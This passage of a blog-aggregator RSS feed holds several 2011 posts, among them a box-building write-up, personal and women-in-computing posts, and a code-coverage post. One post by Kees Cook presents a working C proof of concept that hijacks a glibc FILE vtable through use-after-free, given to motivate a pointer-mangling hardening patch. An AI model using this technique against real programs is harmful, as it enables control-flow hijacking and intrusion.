and I had to remove some material from underside of the knob so that the nut that holds the potentiometer in place fits under the knob. I also had to use 6 mm drill bit to widen the centre hole so that the potentiometer axle fits in there.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-095QDXUzeFc/TwSvFk77ZFI/AAAAAAAAAOk/MEOXvCEf7t8/s1600/2011-10-16+14.18.46.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://2.bp.blogspot.com/-095QDXUzeFc/TwSvFk77ZFI/AAAAAAAAAOk/MEOXvCEf7t8/s320/2011-10-16+14.18.46.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;For the markings on the control panel and the two main knobs I used transfer lettering from &lt;a href=&quot;http://www.letraset.com/shopaff.asp?affid=42&quot;&gt;Letraset&lt;/a&gt;. This is rub-down lettering, that is, you write by finding the required letter from the sheet, placing that to its intended place and rubbing down on the letter sheet so that the letter material is transferred from the sheet to your working piece. These are mainly intended to be used on paper, but they appear to work just fine on wood and plastic.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-GGcpna1KFTs/TwSvcxguCOI/AAAAAAAAAOs/nU_Rb5S460I/s1600/2011-10-19+20.40.25_v1.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;132&quot; src=&quot;http://2.bp.blogspot.com/-GGcpna1KFTs/TwSvcxguCOI/AAAAAAAAAOs/nU_Rb5S460I/s320/2011-10-19+20.40.25_v1.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;After writing all the texts I wanted, I coated the control panel, the two red knobs and the box with several (probably three) coats of clear spray lacquer. Before this it would have been possible to rub or scrape the lettering off, though it would have taken some effort. After the lacquer coat the lettering is there to stay. Even though the spray again had quite an amount of solvents, neither the lettering nor the plastic of the two red knobs was adversely affected.&lt;br /&gt;&lt;br /&gt;After this, the rest is rather straightforward. I re-attached the hinges and the clasp I had removed before painting the box white. I installed the potentiometers, buttons, switches and the line jack to the control panel with their supplied nuts. The two LEDs and the speaker I attached with hot glue. Eventually I will have to figure out something more sturdy than hot glue for mounting the speaker, for it did come loose at the &lt;a href=&quot;http://www.altparty.org/2011/&quot;&gt;Alternative Party&lt;/a&gt;. The control panel is held in its place by the side walls of the box and the support bars inside the box, but there's nothing stopping you from lifting it upwards to reveal the electronics hidden inside.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8964583752416945383-6396668073150454745?l=fedev.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2012-01-04T22:29:59+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-2391936978262573510">
	<title>Gail Carmichael: An Exciting New Year</title>
	<link>http://compscigail.blogspot.com/2011/12/exciting-new-year.html</link>
	<content:encoded>2011 was special, particularly with the &lt;a href=&quot;http://compscigail.blogspot.com/2011/12/welcome-molly-future-girl-geek.html&quot;&gt;arrival of our daughter Molly&lt;/a&gt;.&amp;nbsp; But 2012 is looking pretty great, too!&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-GdnOfyxkC1c/Tv8_oWe4KtI/AAAAAAAADWg/WSwPmN8d20Y/s1600/290727_935054407215_90411378_43056455_2028859804_o.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-GdnOfyxkC1c/Tv8_oWe4KtI/AAAAAAAADWg/WSwPmN8d20Y/s320/290727_935054407215_90411378_43056455_2028859804_o.jpg&quot; width=&quot;263&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Although I wasn't able to get an NSF grant application in for Gram's House as planned, one of the researchers I was working with and I have teamed up with another group doing something similar.&amp;nbsp; If that grant gets funded, it leaves us with an opportunity to extend it later with Gram's House.&amp;nbsp; At the same time, the Gram's House researcher is (hopefully) running a pilot project at her university this summer that will help us learn more about how to approach both projects in the most effective way.&lt;br /&gt;&lt;br /&gt;I'll be off on maternity leave until September, but I'm looking forward to doing some reading and trying to nail down my thesis plan (I have gone through some iterations already, but am not quite there yet as it turns out).&amp;nbsp; I like knowing that everything I can get done (and feel like getting done) is a bonus, and that I don't have to put myself under a lot of pressure.&amp;nbsp; After all, I want to make sure I enjoy my time with Molly!&lt;br /&gt;&lt;br /&gt;I'll be teaching my mini-course (&lt;a href=&quot;http://gailcarmichael.com/teaching/assignments/mini-course&quot;&gt;Computer Science and Games: Just for Girls!&lt;/a&gt;) for the fifth year.&amp;nbsp; It's only a week long, but that will probably be the first time I'll be away from Molly for so long, so that will be interesting.&amp;nbsp; I'm also considering putting together a programming course for &lt;a href=&quot;http://www.meetup.com/Girl-Develop-It-Ottawa/&quot;&gt;Girl Develop It Ottawa&lt;/a&gt; using Processing, which would be fun to teach in the summer.&lt;br /&gt;&lt;br /&gt;And perhaps most exciting of all, I'm trying to make attending Grace Hopper 2012 in Baltimore with Andrew and Molly a possibility.&amp;nbsp; It's only a 9 hour drive from home, and if I can get my trip funded, the only cost would be Andrew's conference fee and food (and maybe we can even get him in as a volunteer?).&amp;nbsp; I've wanted Andrew to attend for years now both for the technical content and to get to see into my world of women in computing.&amp;nbsp; As an added bonus, the conference offers free daycare!&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-2391936978262573510?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-12-31T12:03:06+00:00</dc:date>
</item>
<item rdf:about="http://www.outflux.net/blog/?p=548">
	<title>Kees Cook: abusing the FILE structure</title>
	<link>http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/</link>
	<content:encoded>&lt;p&gt;When attacking a process, one interesting target on the heap is the &lt;code&gt;FILE&lt;/code&gt; structure used with &amp;#8220;stream functions&amp;#8221; (&lt;code&gt;fopen()&lt;/code&gt;, &lt;code&gt;fread()&lt;/code&gt;, &lt;code&gt;fclose()&lt;/code&gt;, etc) in glibc. Most of the &lt;a href=&quot;http://sourceware.org/git/?p=glibc.git;a=blob;f=libio/libio.h;h=bebc112a3bffc800cddbbd885663c2b3a33c1324;hb=4f2b767fef50f5f5c356c0c0e424fccc893a4ae6#l273&quot;&gt;&lt;code&gt;FILE&lt;/code&gt; structure (&lt;code&gt;struct _IO_FILE&lt;/code&gt; internally)&lt;/a&gt; is pointers to the various memory buffers used for the stream, flags, etc. What&amp;#8217;s interesting is that this isn&amp;#8217;t actually the entire structure. When a new &lt;code&gt;FILE&lt;/code&gt; structure is allocated and its pointer returned from &lt;code&gt;fopen()&lt;/code&gt;, glibc has actually allocated an internal structure called &lt;code&gt;struct _IO_FILE_plus&lt;/code&gt;, which contains &lt;code&gt;struct _IO_FILE&lt;/code&gt; and a pointer to &lt;code&gt;struct _IO_jump_t&lt;/code&gt;, which in turn contains a list of pointers for all the functions attached to the &lt;code&gt;FILE&lt;/code&gt;. This is its vtable, which, just like &lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_method_table&quot;&gt;C++ vtables&lt;/a&gt;, is used whenever any stream function is called with the &lt;code&gt;FILE&lt;/code&gt;. So on the heap, we have:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://www.outflux.net/exploits/glibc-FILE-vtable.png&quot; alt=&quot;glibc FILE vtable location&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the face of &lt;a href=&quot;https://www.owasp.org/index.php/Using_freed_memory&quot;&gt;use-after-free&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Heap_overflow&quot;&gt;heap overflows&lt;/a&gt;, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in &lt;a href=&quot;http://http://manpages.ubuntu.com/setjmp&quot;&gt;&lt;code&gt;setjmp()&lt;/code&gt;/&lt;code&gt;longjmp()&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://http://manpages.ubuntu.com/atexit&quot;&gt;&lt;code&gt;atexit()&lt;/code&gt;&lt;/a&gt;, etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced &lt;a href=&quot;http://udrepper.livejournal.com/13393.html&quot;&gt;&lt;code&gt;PTR_MANGLE&lt;/code&gt;/&lt;code&gt;PTR_DEMANGLE&lt;/code&gt;&lt;/a&gt; to protect these latter functions, but until now hasn&amp;#8217;t protected the FILE structure in the same way.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;m hoping to change this, and have &lt;a href=&quot;http://cygwin.com/ml/libc-alpha/2011-12/msg00073.html&quot;&gt;introduced a patch&lt;/a&gt; to use &lt;code&gt;PTR_MANGLE&lt;/code&gt; on the vtable pointer. Hopefully I haven&amp;#8217;t overlooked something, since I&amp;#8217;d really like to see this get in. &lt;code&gt;FILE&lt;/code&gt; structure usage is a fair bit more common than &lt;code&gt;setjmp()&lt;/code&gt; and &lt;code&gt;atexit()&lt;/code&gt; usage. :)&lt;/p&gt;
&lt;p&gt;Here&amp;#8217;s a quick exploit demonstration in a trivial use-after-free scenario:&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;
#include &amp;lt;stdio.h&gt;
#include &amp;lt;stdlib.h&gt;

void pwn(void)
{
    printf(&quot;Dave, my mind is going.\n&quot;);
    fflush(stdout);
}

void * funcs[] = {
    NULL, // &quot;extra word&quot;
    NULL, // DUMMY
    exit, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    NULL, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // write
    NULL, // seek
    pwn,  // close
    NULL, // stat
    NULL, // showmanyc
    NULL, // imbue
};

int main(int argc, char * argv[])
{
    FILE *fp;
    unsigned char *str;

    printf(&quot;sizeof(FILE): 0x%x\n&quot;, sizeof(FILE));

    /* Allocate and free enough for a FILE plus a pointer. */
    str = malloc(sizeof(FILE) + sizeof(void *));
    printf(&quot;freeing %p\n&quot;, str);
    free(str);

    /* Open a file, observe it ended up at previous location. */
    if (!(fp = fopen(&quot;/dev/null&quot;, &quot;r&quot;))) {
        perror(&quot;fopen&quot;);
        return 1;
    }
    printf(&quot;FILE got %p\n&quot;, fp);
    printf(&quot;_IO_jump_t @ %p is 0x%08lx\n&quot;,
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Overwrite vtable pointer. */
    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
    printf(&quot;_IO_jump_t @ %p now 0x%08lx\n&quot;,
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Trigger call to pwn(). */
    fclose(fp);

    return 0;
}
&lt;/pre&gt;
&lt;p&gt;Before the patch:&lt;/p&gt;
&lt;pre class=&quot;brush:shell&quot;&gt;
$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0xf7796aa0
_IO_jump_t @ 0x984609c now 0x0804a060
Dave, my mind is going.
&lt;/pre&gt;
&lt;p&gt;After the patch:&lt;/p&gt;
&lt;pre class=&quot;brush:shell&quot;&gt;
$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0x3a4125f8
_IO_jump_t @ 0x984609c now 0x0804a060
Segmentation fault
&lt;/pre&gt;
&lt;p&gt;Astute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I&amp;#8217;d like to see this fixed too, but it&amp;#8217;ll require more time to study. :)&lt;/p&gt;
&lt;p&gt;&amp;copy; 2011, &lt;a href=&quot;http://www.outflux.net/blog/&quot;&gt;Kees Cook&lt;/a&gt;. This work is licensed under a &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;Creative Commons Attribution-ShareAlike 3.0 License&lt;/a&gt;.&lt;br /&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; src=&quot;http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png&quot; /&gt;&lt;/a&gt; &lt;/p&gt;</content:encoded>
	<dc:date>2011-12-23T00:46:21+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-1526116155048347674">
	<title>Gail Carmichael: Welcome Molly, Future Girl Geek!</title>
	<link>http://compscigail.blogspot.com/2011/12/welcome-molly-future-girl-geek.html</link>
	<content:encoded>Andrew and I are delighted to announce the birth of our first child, Molly! She was born on December 16 at 5:47pm and weighed 7 lbs 3 oz.&amp;nbsp; We're all doing well and enjoying our time together as a new family.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-WrBKLmAP03k/TvNm_iPovtI/AAAAAAAADUw/Ul5CYxuoCCU/s1600/Molly-005.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;266&quot; src=&quot;http://3.bp.blogspot.com/-WrBKLmAP03k/TvNm_iPovtI/AAAAAAAADUw/Ul5CYxuoCCU/s320/Molly-005.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-DjOhNEWoZY0/TvNoMwDm_7I/AAAAAAAADV8/nibsEfefzF0/s1600/Molly-001.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;278&quot; src=&quot;http://4.bp.blogspot.com/-DjOhNEWoZY0/TvNoMwDm_7I/AAAAAAAADV8/nibsEfefzF0/s320/Molly-001.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-KRl-S9CvaUw/TvNoX8a5x_I/AAAAAAAADWI/NYDSpb213v8/s1600/Molly-004.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/-KRl-S9CvaUw/TvNoX8a5x_I/AAAAAAAADWI/NYDSpb213v8/s320/Molly-004.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-utmr8mDY8CM/TvNovGY0VwI/AAAAAAAADWU/I8O_G0GKuvM/s1600/Molly-006.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://3.bp.blogspot.com/-utmr8mDY8CM/TvNovGY0VwI/AAAAAAAADWU/I8O_G0GKuvM/s320/Molly-006.jpg&quot; width=&quot;212&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-1526116155048347674?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-12-22T12:29:06+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-6488574357402523052">
	<title>Gail Carmichael: Digital Media - New Learners of the 21st Century</title>
	<link>http://compscigail.blogspot.com/2011/12/digital-media-new-learners-of-21st.html</link>
	<content:encoded>PBS aired this program back in February this year.&amp;nbsp; It is almost an hour long and features many of the big names in 21st century learning, including &lt;a href=&quot;http://www.jamespaulgee.com/&quot;&gt;James Paul Gee&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Katie_Salen&quot;&gt;Katie Salen&lt;/a&gt;.&amp;nbsp; If you're interested in game-based education, educational games, and digital media for learning in general, it's a good watch.&amp;nbsp; I quite enjoyed it.&amp;nbsp; (Note: It looks like you can't watch the whole thing in the embedded video, so if you have an hour, head to the &lt;a href=&quot;http://video.pbs.org/video/1797357384/&quot;&gt;full link&lt;/a&gt;.)&lt;br /&gt;&lt;br /&gt;&lt;div&gt;    &lt;br /&gt;&lt;div&gt;Watch &lt;a href=&quot;http://video.pbs.org/video/1797357384&quot; target=&quot;_blank&quot;&gt;Full Show&lt;/a&gt; on PBS. See more from &lt;a href=&quot;http://www.blogger.com/None&quot; target=&quot;_blank&quot;&gt;Digital Media - New Learners Of The 21st Century.&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-6488574357402523052?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-12-15T14:11:32+00:00</dc:date>
</item>
<item rdf:about="http://rejon.org/?p=2513">
	<title>Jon Phillips: Poverty Line in USA vs China</title>
	<link>http://rejon.org/2011/12/poverty-line-in-usa-vs-china/</link>
	<content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6350328534/&quot; title=&quot;Early Marking Prototype Take out the Sing in Dao by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.staticflickr.com/6092/6350328534_143e257232_z.jpg&quot; width=&quot;480&quot; height=&quot;640&quot; alt=&quot;Early Marking Prototype Take out the Sing in Dao&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Part of the reason I&amp;#8217;m not using social media now is that I have found that I am not able to have complete thoughts. Instead  140 characters gives me a funnel towards emotional comments, and unfounded arguments. Well, I have a secret weapon in my battle for making longer than 5 sentence speech fragments, and its more than &lt;a href=&quot;http://chris.raysend.com&quot;&gt;Christopher&lt;/a&gt;, &lt;a href=&quot;http://donewith.info&quot;&gt;Nkinkade&lt;/a&gt; or &lt;a href=&quot;http://qi-hardware.com/&quot;&gt;Wolfgang&lt;/a&gt; countering my sometimes emotional decision making.&lt;/p&gt;
&lt;p&gt;My original unfounded comment: &amp;#8220;China has the most people living in poverty.&amp;#8221;&lt;/p&gt;
&lt;p&gt;Here&amp;#8217;s how a gift email landed in my inbox:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Per our discussion about population in poverty, the &lt;a href=&quot;http://china.caixin.cn/2011-11-29/100332645.html&quot;&gt;latest&lt;/a&gt; is that the government has raised the cap from RMB 1274 per yeary to &lt;strong&gt;2300 RMB&lt;/strong&gt; per year. by the latest standards, there are &lt;strong&gt;120 million&lt;/strong&gt; people in poverty in China. &lt;/p&gt;
&lt;p&gt;According to the &lt;a href=&quot;http://en.wikipedia.org/wiki/United_States_Census_Bureau&quot;&gt;U.S. Census Bureau data&lt;/a&gt; released Tuesday September 13th, 2011, the nation&amp;#8217;s poverty rate rose to 15.1% (&lt;strong&gt;46.2 million&lt;/strong&gt;) in 2010,[&lt;a href=&quot;http://en.wikipedia.org/wiki/Poverty_in_the_United_States#cite_note-1&quot;&gt;2&lt;/a&gt;] up from 14.3% (approximately 43.6 million) in 2009 and to its highest level since 1993. In 2008, 13.2% (39.8 million) Americans lived in relative poverty.[&lt;a href=&quot;http://en.wikipedia.org/wiki/Poverty_in_the_United_States#cite_note-2009_Poverty_Rate_Reuters-2&quot;&gt;3&lt;/a&gt;]&lt;/p&gt;
&lt;p&gt;The government&amp;#8217;s definition of poverty is not tied to an absolute value of how much an individual or family can afford, but is tied to a &lt;a href=&quot;http://en.wikipedia.org/wiki/Relative_poverty&quot;&gt;relative level&lt;/a&gt; based on total income received. For example, the poverty level for 2011 was set at $22,350 (total yearly income) for a family of four, which roughly equals &lt;strong&gt;RMB 37,995&lt;/strong&gt; per person.[&lt;a href=&quot;http://en.wikipedia.org/wiki/Poverty_in_the_United_States#cite_note-2011_HHS-3&quot;&gt;4&lt;/a&gt;] Most Americans (58.5%) will spend at least one year below the poverty line at some point between ages 25 and 75.[&lt;a href=&quot;http://en.wikipedia.org/wiki/Poverty_in_the_United_States#cite_note-Hacker-5&quot;&gt;5&lt;/a&gt;] There remains some controversy over whether the official poverty threshold over- or understates poverty.&lt;/p&gt;
&lt;p&gt;China and the US still has vastly different standards about poverty therefore direct comparison of the number of people in poverty aren&amp;#8217;t meaningful.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Thanks for the thoughtful research. Time to get with the program REJON!&lt;/p&gt;</content:encoded>
	<dc:date>2011-12-13T22:15:36+00:00</dc:date>
</item>
<item rdf:about="http://gould.cx/ted/blog/You_dont_know_if_you_dont_measure">
	<title>Ted Gould: You don't know if you don't measure</title>
	<link>http://gould.cx/ted/blog/You_dont_know_if_you_dont_measure</link>
	<content:encoded>&lt;p&gt;
I'm excited about two new team members that we have, &lt;a href=&quot;https://launchpad.net/~thomas-voss&quot;&gt;Thomas Voß&lt;/a&gt; and &lt;a href=&quot;https://launchpad.net/~allanlesage&quot;&gt;Allan LeSage&lt;/a&gt;, who are working to increase our quality infrastructure.  One of the first things they've been working on is getting per-commit code coverage measurements of our unit tests in to &lt;a href=&quot;https://jenkins.qa.ubuntu.com/&quot;&gt;Jenkins&lt;/a&gt;.  I think that this is great because, while we have tests, we have no real way to know if we have enough tests.  Code coverage isn't a magic bullet there, but it does give us some idea of where we stand.
&lt;/p&gt;
&lt;p&gt;
If you had asked me (as soon as yesterday) about &lt;a href=&quot;https://launchpad.net/dbus-test-runner/&quot;&gt;dbus-test-runner&lt;/a&gt;'s test suite I would have described it as good.  It's a small amount of code, and it has quite a few tests.  So it must be good.  Allan submitted a &lt;a href=&quot;https://code.launchpad.net/~allanlesage/dbus-test-runner/TDD/+merge/85182&quot;&gt;merge request to add code coverage measurements&lt;/a&gt;.  Here's what came out on the summary:
&lt;/p&gt;
&lt;p&gt;
  &lt;center&gt;
  &lt;table width=&quot;80%&quot; cellpadding=&quot;1&quot; cellspacing=&quot;1&quot; border=&quot;0&quot;&gt;
    &lt;tr&gt;
      &lt;td class=&quot;tableHead&quot; colspan=&quot;2&quot;&gt;Line Coverage&lt;/td&gt;
      &lt;td class=&quot;tableHead&quot; colspan=&quot;2&quot;&gt;Functions&lt;/td&gt;
      &lt;td class=&quot;tableHead&quot; colspan=&quot;2&quot;&gt;Branches&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td class=&quot;coverPerMed&quot;&gt;79.4 %&lt;/td&gt;
      &lt;td class=&quot;coverNumMed&quot;&gt;239 / 301&lt;/td&gt;
      &lt;td class=&quot;coverPerMed&quot;&gt;88.0 %&lt;/td&gt;
      &lt;td class=&quot;coverNumMed&quot;&gt;22 / 25&lt;/td&gt;
      &lt;td class=&quot;coverPerLo&quot;&gt;62.0 %&lt;/td&gt;
      &lt;td class=&quot;coverNumLo&quot;&gt;67 / 108&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;/center&gt;
&lt;/p&gt;
&lt;p&gt;
Ouch!  I don't think we could really describe that as good.  Not awful, but it should be better, especially for a test tool!
&lt;/p&gt;
&lt;p&gt;
This story does have a happy ending.  I took a little bit of time to make a new &lt;a href=&quot;https://code.launchpad.net/~ted/dbus-test-runner/fix-coverage/+merge/85211&quot;&gt;branch that adds tests&lt;/a&gt;, but also makes the utility &lt;em&gt;more testable&lt;/em&gt; so that the code can be hit in a reasonable test.  Overall, a big win for &lt;a href=&quot;https://launchpad.net/dbus-test-runner/&quot;&gt;dbus-test-runner&lt;/a&gt;.  Here's the results after that branch:
&lt;/p&gt;
&lt;p&gt;
  &lt;center&gt;
  &lt;table width=&quot;80%&quot; cellpadding=&quot;1&quot; cellspacing=&quot;1&quot; border=&quot;0&quot;&gt;

    &lt;tr&gt;
      &lt;td class=&quot;tableHead&quot; colspan=&quot;2&quot;&gt;Line Coverage&lt;/td&gt;
      &lt;td class=&quot;tableHead&quot; colspan=&quot;2&quot;&gt;Functions&lt;/td&gt;
      &lt;td class=&quot;tableHead&quot; colspan=&quot;2&quot;&gt;Branches&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td class=&quot;coverPerHi&quot;&gt;95.2 %&lt;/td&gt;
      &lt;td class=&quot;coverNumHi&quot;&gt;317 / 333&lt;/td&gt;
      &lt;td class=&quot;coverPerHi&quot;&gt;96.2 %&lt;/td&gt;
      &lt;td class=&quot;coverNumHi&quot;&gt;25 / 26&lt;/td&gt;
      &lt;td class=&quot;coverPerMed&quot;&gt;84.4 %&lt;/td&gt;
      &lt;td class=&quot;coverNumMed&quot;&gt;103 / 122&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;/center&gt;
&lt;/p&gt;
&lt;p&gt;
Comments: &lt;a href=&quot;http://identi.ca/notice/86553843&quot;&gt;Identi.ca&lt;/a&gt; | &lt;a href=&quot;https://twitter.com/#!/tedjgould/status/145359594586243073&quot;&gt;Twitter&lt;/a&gt;
&lt;/p&gt;</content:encoded>
	<dc:date>2011-12-10T04:31:00+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-26721712825718281">
	<title>Gail Carmichael: Kudos to the New RCMP Commissioner</title>
	<link>http://compscigail.blogspot.com/2011/12/kudos-to-new-rcmp-commissioner.html</link>
	<content:encoded>The &lt;a href=&quot;http://www.rcmp-grc.gc.ca/&quot;&gt;Royal Canadian Mounted Police&lt;/a&gt;, our federal police force, recently had its 23rd commissioner formally installed.&amp;nbsp; There have been problems with the previous commissioners, but from what I'm hearing so far from Bob Paulson, things are looking up.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href=&quot;http://www.flickr.com/photos/focusedcapture/3721385262/&quot; title=&quot;RCMP by focusedcapture, on Flickr&quot;&gt;&lt;img alt=&quot;RCMP&quot; height=&quot;334&quot; src=&quot;http://farm3.staticflickr.com/2503/3721385262_bc3eb4d72f.jpg&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;a href=&quot;http://www.flickr.com/photos/focusedcapture/3721385262/&quot;&gt;RCMP&lt;/a&gt; by &lt;a href=&quot;http://www.flickr.com/photos/focusedcapture/&quot;&gt;focusedcapture&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Paulson's take on women deserves kudos.&amp;nbsp; While the organization has nearly 38% of its ranks as women, not many are in the upper ranks.&amp;nbsp; In &lt;a href=&quot;http://www.thespec.com/news/canada/article/636811--new-rcmp-commissioner-installed-in-colourful-ceremony-but-real-work-lies-ahead&quot;&gt;one article on TheSpec&lt;/a&gt;, he is quoted as saying:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;“My view is, we bring more women into our decision-making process at the executive level; we have a much more representative decision-making body in the force.”&lt;/blockquote&gt;But he doesn't want to boost the numbers for the sake of equality.&amp;nbsp; As a &lt;a href=&quot;http://www.ctv.ca/CTVNews/Canada/20111209/new-rcmp-commissioner-bob-paulson-priorities-plans-111209/&quot;&gt;CTV article reports&lt;/a&gt;:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&quot;I recognize that most of our women are concerned that this increase in numbers in the senior ranks will be a measure that is just adding numbers,&quot; he said. &lt;br /&gt;&lt;br /&gt;&quot;I want to make sure that those employees and members that merit promotion get the promotion. I don't want people to think that we're moving women into the senior ranks just because we need more women.&quot;&amp;nbsp;&lt;/blockquote&gt;It seems that Paulson believes that there are many women who deserve to be in the higher ranks but are being overlooked.&lt;br /&gt;&lt;br /&gt;Sounds an awful lot like what we need in tech companies and academic institutions, doesn't it?&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-26721712825718281?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-12-09T11:44:42+00:00</dc:date>
</item>
<item rdf:about="http://www.outflux.net/blog/?p=539">
	<title>Kees Cook: how to throw an EC2 party</title>
	<link>http://www.outflux.net/blog/archives/2011/12/07/how-to-throw-an-ec2-party/</link>
	<content:encoded>&lt;p&gt;Prepare a location to run juju and install it:&lt;/p&gt;
&lt;pre&gt;
mkdir ~/party
cd ~/party
sudo apt-get install juju
&lt;/pre&gt;
